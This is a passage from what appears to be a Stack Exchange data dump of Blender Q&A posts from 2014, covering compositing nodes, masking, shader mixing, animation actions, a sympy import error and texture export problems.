nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;compositor nodes&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BJYuR.jpg&quot; alt=&quot;compositor nodes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5846" LastEditorUserId="2217" LastEditDate="2014-08-31T17:54:53.440" LastActivityDate="2014-08-31T18:13:25.927" Title="Why are objects appearing as a &quot;ghostly&quot; image after rendering?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15436" PostTypeId="2" ParentId="15433" CreationDate="2014-08-31T17:38:23.383" Score="3" Body="&lt;p&gt;This is a good place to use a &lt;em&gt;Solidify&lt;/em&gt; modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zM6m6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-31T17:38:23.383" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15437" PostTypeId="2" ParentId="15434" CreationDate="2014-08-31T17:54:20.540" Score="3" Body="&lt;p&gt;The &lt;code&gt;types&lt;/code&gt; module &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.bpy_struct.html?highlight=Note%20that%20bpy.types.bpy_struct%20is%20not%20actually%20available%20from%20within%20blender,%20it%20only%20exists%20for%20the%20purpose%20of%20documentation.&quot; rel=&quot;nofollow noreferrer&quot;&gt;is only used for documentation&lt;/a&gt;.&#xA;See &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/info_api_reference.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt; for tips on finding actual datapaths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you are using the latest API documentation too, see &lt;a href=&quot;https://blender.stackexchange.com/q/12266/599&quot;&gt;Where can the latest API documentation be found?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-08-31T17:54:20.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15438" PostTypeId="2" ParentId="15435" CreationDate="2014-08-31T18:01:47.210" Score="5" Body="&lt;p&gt;Try using an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Color#AlphaOver_Node&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Alpha over&lt;/em&gt; node&lt;/a&gt; instead of an add node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W1Ce8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The add node literally &lt;em&gt;adds&lt;/em&gt; the pixel values of one image to the other image. This means that not only will you have both images visible at once, but you could end up with pixels brighter than 1.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-31T18:13:25.927" LastActivityDate="2014-08-31T18:13:25.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15439" PostTypeId="2" ParentId="5331" CreationDate="2014-08-31T18:27:10.713" Score="5" Body="&lt;p&gt;And here is another way how to make additive material. Possibly it will be helpful for someone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Oc880.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oc880.png&quot; alt=&quot;Image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="911" LastEditDate="2014-08-31T18:33:19.530" LastActivityDate="2014-08-31T18:33:19.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15440" PostTypeId="1" AcceptedAnswerId="42771" CreationDate="2014-08-31T19:40:20.850" Score="4" ViewCount="1640" Body="&lt;p&gt;Is it possible to have a scene strip in the VSE render using the OpenGL renderer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can make it render using viewport shading/OpenGL in the preview, but can you do this for the final render, without first rendering to an image sequence and loading that back into the VSE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a couple scene strips, one is a a cycles scene, and the other is some text objects and stuff to be overlayed on the cycles render. I would like to render the text with OpenGL as it's just flat shading, and cycles is overkill.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-31T20:38:44.337" LastActivityDate="2017-12-05T21:42:54.427" Title="How to make a VSE scene strip render with the openGL render?" Tags="&lt;rendering&gt;&lt;video-sequence-editor&gt;&lt;opengl&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15441" PostTypeId="1" AcceptedAnswerId="15445" CreationDate="2014-08-31T19:42:50.410" Score="5" ViewCount="1893" Body="&lt;p&gt;I've animated the location of a text object, and now I want to use that same animation on many other text objects at arbitrary times. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-01T06:50:15.270" Title="How to use an animation for one object on another object?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15443" PostTypeId="1" AcceptedAnswerId="167291" CreationDate="2014-08-31T20:30:13.210" Score="6" ViewCount="2519" Body="&lt;p&gt;Is there a way to hide the selected object's origin in the 3D view? By default all unselected object's origins do not show, but even after deselecting everything with &lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; it still shows the active object's origin.&lt;br&gt;&#xA;I know the &lt;em&gt;Only Render&lt;/em&gt; checkbox will hide all the origins, but in this case it hides too much.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2020-02-17T23:17:46.080" Title="Is there a way to hide all the origins in the 3D view?" Tags="&lt;3d-view&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15444" PostTypeId="2" ParentId="15443" CreationDate="2014-08-31T20:36:05.540" Score="1" Body="&lt;p&gt;One trick you can do is move the active object to a different layer or hide it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a dummy object (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Hide it (&lt;kbd&gt;H&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z2L2L.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-31T20:36:05.540" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15445" PostTypeId="2" ParentId="15441" CreationDate="2014-08-31T20:42:52.253" Score="4" Body="&lt;p&gt;When you keyframed the locations on an object, an action has already been created&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the object which should be animated&lt;/li&gt;&#xA;&lt;li&gt;Switch to the &lt;em&gt;Dopesheet&lt;/em&gt; and change to the &lt;em&gt;Action Editor&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Assign the action to your object. (default name here is &lt;em&gt;Textaction&lt;/em&gt;) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that the keyframes have absolute coordinates, I you're looking for relative changes you would need to offset them in the NLA-Editor (or alternatively change the origin of the individual text objects).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want start animations at different time offsets you would need to place them as Action-Strips in the NLA-Editor there you can move the strips to the time offset they should start (and even scale the duration).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zj5XJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-09-01T06:50:15.270" LastActivityDate="2014-09-01T06:50:15.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15446" PostTypeId="2" ParentId="12266" CreationDate="2014-08-31T21:02:43.867" Score="7" Body="&lt;p&gt;&lt;strong&gt;Help -&gt; Python API Reference&lt;/strong&gt;&#xA;Takes you to the API documentation page for the version of Blender you're running (which is mostly what you want).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-08-31T21:02:43.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15447" PostTypeId="1" CreationDate="2014-08-31T21:05:42.497" Score="4" ViewCount="705" Body="&lt;p&gt;I am working with multiple actions for my model's animations.  One of my actions is a basic &quot;standing still&quot; action that just gives the character slight movements while at rest.. this action only needs to be about 10 frames long.  My jump animation is 36 frames.   If I set the &quot;final frame&quot; to 36 for the jump animation, it also gets set for the standing still animation.  How do I fix this so that the animation length is tied to each action?&lt;/p&gt;&#xA;" OwnerUserId="5733" LastActivityDate="2014-08-31T21:05:42.497" Title="When using multiple actions, the animation length property seems to be shared by all actions. How do I fix this?" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15449" PostTypeId="1" AcceptedAnswerId="15450" CreationDate="2014-09-01T07:23:55.133" Score="7" ViewCount="2178" Body="&lt;p&gt;I am animating objects that will be rendered with video footage in the compositor. My difficulty is how to apply a mask so that the objects disappear when they expand past a certain point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Objects within circle mesh should be visible&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oPPHq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Objects outside of circle mesh should be invisible&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QBNfE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current nodes set-up for object materials:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/fG0K6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What masking options are at my disposal to achieve this effect, and how can I apply them? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any insights.&lt;/p&gt;&#xA;" OwnerUserId="5846" LastActivityDate="2014-09-01T08:06:39.113" Title="How to mask animated objects so they aren't visible past a certain area?" Tags="&lt;nodes&gt;&lt;video&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15450" PostTypeId="2" ParentId="15449" CreationDate="2014-09-01T07:36:27.807" Score="12" Body="&lt;p&gt;There are a good many ways of doing this, but here are a few:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Mask editor&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;em&gt;UV image editor&lt;/em&gt;, set the mode to &lt;em&gt;Mask&lt;/em&gt; and press &lt;em&gt;New&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u0zVD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt;Circle&lt;/em&gt; to add a circle mask, the position it with &lt;kbd&gt;G&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O3PgM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the mask to control the alpha over factor in the compositor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/52kFB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/52kFB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could even feather or blur the mask to make the objects fade out instead of disappearing abruptly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Object/material id mask&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You could also use the circle object in the 3D view to do this, using ID masks (see my &lt;a href=&quot;https://blender.stackexchange.com/a/3099/599&quot;&gt;answer here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this will only work if you have the circle object visible in the render and filled with a face, or use multiple renderlayers.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Holdout material:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you want to replace part of a scene with transparency, you can use an object with a holdout shader to make that object render as alpha transparency:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3AKm0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Boolean modifier&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is probably not a good option in this case, but this can be useful when you need to &quot;mask&quot; whole objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RC1yE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Collision object&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If the object is in a particle system, you can use a sphere with collision physics, set to kill particles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uIb0W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No particles will be able to escape the sphere.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-09-01T08:06:39.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15451" PostTypeId="2" ParentId="15426" CreationDate="2014-09-01T08:43:48.003" Score="1" Body="&lt;p&gt;This appears to be a limitation of the current setup. The dopesheet and graph editor don't display items from custom node trees.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-01T08:43:48.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15452" PostTypeId="2" ParentId="15440" CreationDate="2014-09-01T09:31:55.643" Score="2" Body="&lt;p&gt;No - openGL rendering is a simple representation of the 3dview only available from the 3dview. It is basically a screen capture of the 3D viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can save an opengl render of the scene and add the image/video files to the vse, or set the text scene to BI with simple shading to get a fast render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even using cycles for a text only render you only need a diffuse node and 1 sample to get a sub-second per frame render, turn off shadows and caustics to ensure the fastest result.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-01T09:31:55.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15453" PostTypeId="1" CreationDate="2014-09-01T12:09:17.927" Score="2" ViewCount="294" Body="&lt;p&gt;I want to use  Geometry Module of sympy0.7.5 in Blender 2.71 (64 Bit). &#xA;  But I got some error when I try to do &quot;from sympy import Point3D&quot;:&lt;br&gt;&#xA;        ImportError: cannot import name 'Point3D'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I have done:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Clone the latest sympy0.7.5:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone https://github.com/sympy/sympy&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install it in python3.4.0 [MSC v.1600 64 bit (AMD64)] (same python version in blender 2.71 except MSC v.1800 64 bit (AMD64)). The sympy's location is in &lt;code&gt;c:\Python34\Lib\site-packages\&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Test &lt;em&gt;from sympy import Point3D&quot;-&lt;/em&gt; in python3.4, everything is fine.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy sympy folder in&#xA;&lt;code&gt;c:\Python34\Lib\site-packages\&lt;/code&gt; to&lt;br&gt;&#xA;&lt;code&gt;c:\Program Files\Blender Foundation\Blender\2.71\python\lib\&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In python console of the blender, it works for&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   from sympy import *&#xA;   from sympy import Point&#xA;   ...&#xA;  but failed for&#xA;   from sympy import Point3D&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5857" LastEditorUserId="2217" LastEditDate="2014-09-01T12:54:06.383" LastActivityDate="2014-10-03T07:30:48.667" Title="Error: import Point3D of Geometry Module of sympy0.7.5 in Blender2.71" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15454" PostTypeId="1" AcceptedAnswerId="27458" CreationDate="2014-09-01T12:16:17.377" Score="1" ViewCount="381" Body="&lt;p&gt;Is it possible to calculate the volume of a object as its collision bounds&#xA;rather then the physical mesh? In the following scene, I have a stick of dynamite falling onto a field of cubes. It should destroy all cubes within the blast, but it is only destroying the ones touching the physical mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done without changing the collision bound type from&#xA;Triangle Mesh to Convex hull or one of the other ones?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Question stated again in blend file)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/123/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=123&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-03-21T19:16:38.773" Title="Is it possible to calculate the volume of a object as its collision bounds?" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15455" PostTypeId="1" CreationDate="2014-09-01T13:20:36.223" Score="1" ViewCount="1067" Body="&lt;p&gt;I'm completely new at blender and yesterday I followed a tutorial and everything turned out fine, not a single problem.&#xA;So I wanted to try and make something myself, now the only problem is, when I try to render it, I don't see the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/31320&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/31320&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please keep in mind that I'm completely new. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMG1: This is what it looks like when I choose the &quot;Only render&quot; option in &quot;edit mode&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hJM3z.png&quot; alt=&quot;This is what it looks like when I choose the &amp;quot;Only render&amp;quot; option in &amp;quot;edit mode&amp;quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMG2: This is what it looks like when I choose the &quot;Only render&quot; option in &quot;object mode&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pMJm9.png&quot; alt=&quot;This is what it looks like when I choose the &amp;quot;Only render&amp;quot; option in &amp;quot;object mode&amp;quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMG3:And this is what I see when I render it..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p6xaz.png&quot; alt=&quot;And this is what I see when I render it..&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5860" LastEditorUserId="241" LastEditDate="2014-09-01T14:29:41.397" LastActivityDate="2014-09-01T19:24:46.410" Title="Not rendering in object mode" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2014-09-02T00:36:15.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="15457" PostTypeId="1" CreationDate="2014-09-01T14:26:24.877" Score="4" ViewCount="518" Body="&lt;p&gt;Is there in Blender, in Sculpt Mode, something like in the Zbrush function called &lt;code&gt;Repeat last stroke&lt;/code&gt;?&#xA;This option repeats last sculpt stroke as many times as I press a key.&lt;/p&gt;&#xA;" OwnerUserId="5845" LastEditorUserId="3078" LastEditDate="2014-12-01T22:34:04.563" LastActivityDate="2020-12-10T12:07:41.150" Title="How to repeat last stroke in Blender's sculpt mode?" Tags="&lt;sculpting&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15458" PostTypeId="1" AcceptedAnswerId="15462" CreationDate="2014-09-01T15:05:15.400" Score="10" ViewCount="2630" Body="&lt;p&gt;I know the basic difference between a mix shader and an add shader, this question is about the applications of each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have heard that add shader should be used with translucent shaders.  But in answering a &lt;a href=&quot;https://blender.stackexchange.com/questions/420/difference-between-add-shader-and-mix-shader&quot;&gt;question about the difference between add and mix&lt;/a&gt;, Maccesch said &quot;Add Shaders aren't necessarily physically correct.&quot;.  So my question is what does &quot;aren't &lt;em&gt;necessarily&lt;/em&gt;&quot; exactly mean; and when, if ever, is an add shader appropriate when making physically-correct materials?&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-04-28T10:59:12.843" Title="When to use add shader?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15459" PostTypeId="1" AcceptedAnswerId="15470" CreationDate="2014-09-01T15:07:02.613" Score="3" ViewCount="540" Body="&lt;p&gt;The view-port lighting is very useful for me for viewing objects and I like its lighting system, which made me wanting to replicate it into my animation renders. For example, I would use this when I want to render a scene with view-port lighting results and at the same time if I want to display some features from the blender internal or cycles render engine. For view-port render there is a view-port render button -  &lt;img src=&quot;https://i.stack.imgur.com/mVrpe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the view-port rendering does not feature features from both render engines. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there a way to replicate the view-port rendering so that an animation looks as if it is rendered with the view-port rendering button?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-09-02T14:56:38.510" LastActivityDate="2014-09-02T14:56:38.510" Title="Is there a way to render an animation that looks like as if it is rendered with the OpenGL lights (View-port lights)?" Tags="&lt;rendering&gt;&lt;light&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15461" PostTypeId="2" ParentId="15455" CreationDate="2014-09-01T17:52:09.907" Score="0" Body="&lt;p&gt;Your object will appear if you turn off &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication#Procedural_Duplication&quot; rel=&quot;nofollow noreferrer&quot;&gt;verts duplication&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZIubw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-09-01T17:52:09.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15462" PostTypeId="2" ParentId="15458" CreationDate="2014-09-01T18:52:54.747" Score="5" Body="&lt;p&gt;I think Maccesch meant that in the context of reflecting shaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it this way:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In a diffuse+translucent material, you want the light transmitted through &lt;em&gt;in addition&lt;/em&gt; to the light reflected off the surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though you may want to darken the translucent node a bit to simulate absorption:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wupq0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In a diffuse+glossy material, you want &lt;em&gt;some&lt;/em&gt; of the light to be reflected specularly (glossy), and &lt;em&gt;some&lt;/em&gt; to be reflected and scattered (diffuse).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here &quot;some&quot;  can be conveniently defined by the factor of a mix node (which in this case is defined by the angle of the surface to the camera, via a fresnel node). Using this setup, at most you can reflect the same amount of light as received:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G8RW3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;strong&gt;don't&lt;/strong&gt; want to reflect more light than what hits the surface, as easily happens with an add shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ofHAZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The exact difference between the two nodes is nicely covered in &lt;a href=&quot;https://blender.stackexchange.com/questions/420/difference-between-add-shader-and-mix-shader&quot;&gt;question you linked&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2014-09-01T19:24:19.400" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15464" PostTypeId="2" ParentId="15455" CreationDate="2014-09-01T19:24:46.410" Score="1" Body="&lt;p&gt;Duplication options segment is for telling Blender whether it should be rendering object itself or instances of child object assigned to it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Parent and child has &quot;None&quot; selected. Objects are rendered as in viewport:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1tdHs.png&quot; alt=&quot;&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Parent has &quot;Vert&quot; selected in Duplication objects. It will be not visible. Only child Sphere instances will be rendered, without original Sphere. Sphere has to have &quot;None&quot; selected, as it do not have child objects assigned that could be duplicated.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/U9cpS.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Your file, object has not any child nor parent, so it should be set to &quot;None&quot;. &quot;Only render&quot; option is for viewport displaying only. When checked it displays only object that are selected to be rendered (camera icon in Scene Outliner - top, right panel). It is helpful for temporary clearing viewport from helper objects, grids, manipulators, lamps etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded a blend file with example: &lt;a href=&quot;http://www.pasteall.org/blend/31324&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/31324&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5862" LastActivityDate="2014-09-01T19:24:46.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15465" PostTypeId="1" CreationDate="2014-09-01T19:31:59.940" Score="1" ViewCount="602" Body="&lt;p&gt;Whenever I try to export this model as any format(.blend, .3ds, .fbx) and try to open it on any other program other than blender, the textures get messed up but when i open it in Blender, the textures are normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://puu.sh/bhiFm/194d0bc80b.png&quot; alt=&quot;&quot; title=&quot;Pic not found!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when i try to use it in Unity3D for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://puu.sh/bhiV9/1308f9fc51.jpg&quot; alt=&quot;&quot; title=&quot;Pic not found!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that zombie appears XD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also if I export it as .fbx and use it in Unity3D, the same thing happens!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I used that .fbx file to open it in VS2012 and I got this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://puu.sh/bhjb2/cd8954f1bc.png&quot; alt=&quot;&quot; title=&quot;Pic not found!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are we doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance!&lt;/p&gt;&#xA;" OwnerUserId="5863" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.453" LastActivityDate="2014-09-01T19:33:57.293" Title="Textures messed up after 